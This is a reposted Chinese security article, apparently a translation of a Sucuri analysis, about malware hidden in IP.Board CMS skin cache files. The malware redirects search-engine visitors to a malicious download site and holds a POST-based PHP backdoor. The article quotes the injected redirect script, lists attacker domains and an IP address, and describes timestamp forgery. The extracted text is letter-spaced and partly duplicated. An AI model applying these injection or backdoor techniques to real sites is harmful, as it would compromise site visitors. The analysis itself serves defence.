搜索

[8677] 2015-02-17_IP.BoardCMS恶意重定向分析

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2015-02-17_IP.BoardCMS恶意重定向分析 I P . B o a r d   C M S 恶 意 重 定 向 分 析 F r e e B u f   2 0 1 5 - 0 2 - 1 7 I P . B o a r d   C M S 是 一 款 著 名 的 C M S 系 统 ， 它 允 许 用 户 很 容 易 地 创 建 和 管 理 在 线 社 区 。 而 最 近 S u c u r i 的 研 究 员 最 近 发 现 了 一 个 针 对 I P . B o a r d 的 重 定 向 。 经 过 分 析 ， 研 究 员 们 发 现 这 种 攻 击 已 经 持 续 了 2 年 之 久 了 。 访 客 被 恶 意 重 定 向 访 客 被 恶 意 重 定 向 重 定 向 的 症 状 非 常 典 型 ， 某 些 通 过 G o o g l e 搜 索 的 访 客 会 被 重 定 向 到 一 个 恶 意 网 站 ： f i l e s t o r e 3 2 1   . c o m / d o w n l o a d   . p h p ? i d = h e x n u m b e r 。 每 位 访 客 只 会 被 重 定 向 一 次 ， 重 定 向 后 再 点 击 不 会 被 重 定 向 。 我 们 捕 捉 H T T P 流 量 后 发 现 ， 网 页 会 从 " h x x p : / / f o r u m   . h a c k e d s i t e   . c o m / i n d e x . p h p ? i p b v = 4 4 5 8 7 3 4 c b 5 0 e 1 1 2 b a 7 d d 3 a 1 5 4 b 2 2 e c d 9 & g = j s " 加 载 脚 本 ， 脚 本 内 容 如 下 ： x d o c u m e n t . l o c a t i o n = ' h x x p : / / f i l e s t o r e 3 2 1   . c o m / d o w n l o a d   . p h p ? i d = 8 - d i g i t - h e x - n u m b e r ' 工 作 原 理 工 作 原 理 那 重 定 向 是 如 何 通 过 I P . B o a r d 运 行 的 呢 ？ 由 于 我 们 对 I P . B o a r d 还 不 是 像 W o r d P r e s s 那 样 了 解 ， 因 此 查 找 来 源 废 了 我 们 一 番 功 夫 。 我 们 参 考 了 2 年 前 P e t e r   U p f o l d 的 一 篇 文 章 。 在 这 篇 文 章 中 ， 我 们 找 到 了 重 定 向 的 工 作 原 理 ， 并 且 发 现 这 个 手 法 两 年 前 就 出 现 了 ， 而 且 没 有 重 大 的 改 变 。 大 家 并 不 需 要 访 问 大 家 并 不 需 要 访 问 P e t e r   U p f o l d 的 文 章 ， 我 会 在 此 解 释 恶 意 软 件 的 工 作 原 理 和 行 为 模 式 。 的 文 章 ， 我 会 在 此 解 释 恶 意 软 件 的 工 作 原 理 和 行 为 模 式 。 I P . B o a r d 使 用 的 皮 肤 会 同 时 储 存 在 数 据 库 和 硬 盘 上 ( 以 文 件 形 式 储 存 ) ， 如 果 有 缓 存 的 话 就 会 存 储 在 . / c a c h e / s k i n _ c a c h e / c a c h e i d _ n 下 ， n 代 表 皮 肤 的 编 号 。 我 们 发 现 的 受 感 染 的 皮 肤 文 件 就 是 . / c a c h e / s k i n _ c a c h e / c a c h e i d _ 4 下 的 s k i n _ g l o b a l . p h p 文 件 。 高 亮 选 中 的 这 6 行 就 是 我 们 在 这 个 1 2 0 k b 的 皮 肤 文 件 找 到 的 恶 意 代 码 。 这 三 行 经 过 加 密 的 代 码 中 的 变 量 名 用 到 了 $ r s a 、 $ p k a 、 $ p k b ， 让 人 误 认 为 是 什 么 安 全 密 钥 。 我 们 还 原 了 经 过 混 淆 的 代 码 ， 如 下 图 所 示 我 们 还 原 了 经 过 混 淆 的 代 码 ， 如 下 图 所 示
首 先 ， 它 会 检 查 访 客 来 源 是 否 是 来 自 搜 索 引 擎 或 者 是 社 交 网 络 链 接 并 且 确 认 不 是 什 么 爬 虫 。 如 果 这 是 访 客 的 首 次 访 问 ( 没 有 l a n g _ i d   c o o k i e ) ， 它 就 会 在 网 页 中 注 入 一 段 脚 本 ： < s c r i p t   t y p e = ' t e x t / j a v a s c r i p t & ' h x x p : / / h a c k e d s i t e   . c o m / i n d e x . p h p ? i p b v = < s o m e - h a s h > & g = j s ' > 接 着 ， 当 受 害 者 请 求 这 段 脚 本 时 ， 它 会 检 查 访 客 是 否 加 载 过 脚 本 ， 是 不 是 第 一 次 加 载 ， 然 后 将 l a n g _ i d   c o o k i e 设 定 为 1 0 小 时 ， 最 后 返 回 这 段 重 定 向 的 代 码 。 有 趣 的 是 ， 这 段 代 码 不 会 将 浏 览 器 的 预 读 请 求 算 作 是 真 实 访 问 ， 并 且 当 请 求 有 H T T P _ X _ M O Z 头 时 不 会 设 定 l a n g _ i d   c o o k i e 。 这 段 代 码 还 储 存 在 I P . B o a r d 数 据 库 中 的 p r e f i x _ s k i n _ c a c h e 表 中 。 要 将 文 件 和 数 据 库 中 的 恶 意 代 码 都 清 除 掉 才 算 消 除 了 隐 患 。 后 门 后 门 除 了 重 定 向 ， 这 个 恶 意 代 码 中 还 有 一 个 后 门 ， 攻 击 者 可 以 通 过 这 个 后 门 制 造 P O S T 请 求 来 执 行 P H P 代 码 。 每 个 皮 肤 文 件 都 有 如 下 的 注 释 ： / * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * / / *   F I L E   G E N E R A T E D   B Y   I N V I S I O N   P O W E R   B O A R D   3   * / / *   C A C H E   F I L E :   S k i n   s e t   i d :   4   * / / *   C A C H E   F I L E :   G e n e r a t e d :   F r i ,   1 9   D e c   2 0 1 4   1 0 : 2 8 : 0 0   G M T   * / / *   D O   N O T   E D I T   D I R E C T L Y   -   T H E   C H A N G E S   W I L L   N O T   B E   * / / *   W R I T T E N   T O   T H E   D A T A B A S E   A U T O M A T I C A L L Y   * / / * - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - * / 这 段 注 释 表 明 文 件 生 成 的 时 间 。 我 所 发 现 的 服 务 器 中 ， 所 有 的 皮 肤 缓 存 文 件 都 生 成 于 2 0 1 4 年 年 1 2 月 月 1 9 日 日 ， 除 了 受 感 染 的 s k i n _ g l o b a l . p h p 是 生 成 于 2 0 1 5 年 1 月 1 1 日 。 但 是 s k i n _ g l o b a l . p h p 的 修 改 时 间 是 2 0 1 4 年 年 1 2 月 月 1 9 日 日 ， 跟 其 他 文 件 一 样 。 我 认 为 攻 击 者 应 该 是 I P . B o a r d 的 标 准 界 面 注 入 了 这 些 恶 意 代 码 ( 可 能 是 通 过 盗 号 或 者 是 利 用 了 某 个 漏 洞 入 侵 的 ) 。 攻 击 者 更 新 了 皮 肤 缓 存 文 件 ， 但 是 为 了 防 止 网 站 管 理 员 检 查 最 近 修 改 的 文 件 ， 攻 击 者 利 用 皮 肤 中 的 后 门 伪 造 了 这 些 感 染 文 件 的 修 改 时 间 。 域 名 域 名 这 场 针 对 I P . B o a r d 的 攻 击 已 经 进 行 了 起 码 两 年 了 。 主 要 的 区 别 就 是 2 0 1 5 使 用 的 域 名 是 f i l e s t o r e 3 2 1   .   c o m ， 而 2 0 1 3 年 时 使 用 的 是 u r l 4 s h o r t   .   i n f o 。 这 两 个 域 名 的 I P 都 是 6 6 . 1 9 9 . 2 3 1 . 5 9 ( A c c e s s   I n t e g r a t e d   T e c h n o l o g i e s ,   I n c . ,   U S A ) 。 这 个 I P 地 址 上 还 有 些 类 似 的 域 名 ， 所 有 的 域 名 都 被 用 作 恶 意 活 动 。 f i l e s t o r e 3 2 1   . c o m   -   C r e a t e d   o n   2 0 1 1 - 0 1 - 2 7   -   E x p i r e s   o n   2 0 1 6 - 0 1 - 2 7   -   U p d a t e d   o n   2 0 1 5 - 0 1 - 0 5 u r l 4 s h o r t   . i n f o .   -   C r e a t e d   o n   2 0 1 1 - 0 1 - 2 7   -   E x p i r e s   o n   2 0 1 6 - 0 1 - 2 7   -   U p d a t e d   o n   2 0 1 5 - 0 1 - 0 5 f i l e 2 s t o r e . i n f o   -   C r e a t e d   o n   2 0 1 0 - 0 2 - 1 7   -   E x p i r e s   o n   2 0 1 5 - 0 2 - 1 7   -   U p d a t e d   o n   2 0 1 4 - 0 1 - 0 3 f i l e s t o r e 1 2 3 . i n f o   -   C r e a t e d   o n   2 0 1 1 - 0 1 - 0 7   -   E x p i r e s   o n   2 0 1 6 - 0 1 - 0 7   -   U p d a t e d   o n   2 0 1 4 - 1 0 - 1 0 m y f i l e s t o r e . c o m   -   C r e a t e d   o n   2 0 1 0 - 0 2 - 0 3   -   E x p i r e s   o n   2 0 1 6 - 0 2 - 0 3   -   U p d a t e d   o n   2 0 1 5 - 0 1 - 0 5 f i l e s t o r e 7 2 . i n f o   -   C r e a t e d   o n   2 0 1 0 - 1 0 - 1 4   -   E x p i r e s   o n   2 0 1 5 - 1 0 - 1 4   -   U p d a t e d   o n   2 0 1 4 - 1 0 - 1 0 其 中 的 某 些 网 站 会 重 定 向 到 类 似 下 面 这 个 其 中 的 某 些 网 站 会 重 定 向 到 类 似 下 面 这 个 U R L ： ： h x x p : / / o o g n y d 9 6 w c q b h 6 n m z d f 0 e r j   . e k a b i l   . c o m / i n d e x   . p h p ? g = d 3 F 3 e G F n P X h n c 2 h 6 d G x z J n R p b W U 9 M T U w M j A 0 M T E y O D I y N j Q 1 N T Q 4 M D c m c 3 J j P T c 2 J n N 1 c m w 9 d X J s N H N o b 3 J 0 L m l u Z m 8 m c 3 B v c n Q 9 O D A m a 2 V 5 P T J B O T Z E M j l E J n N 1 c m k 9 L 3 B y a X Z h Y 3 k u a H R t b A = =
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理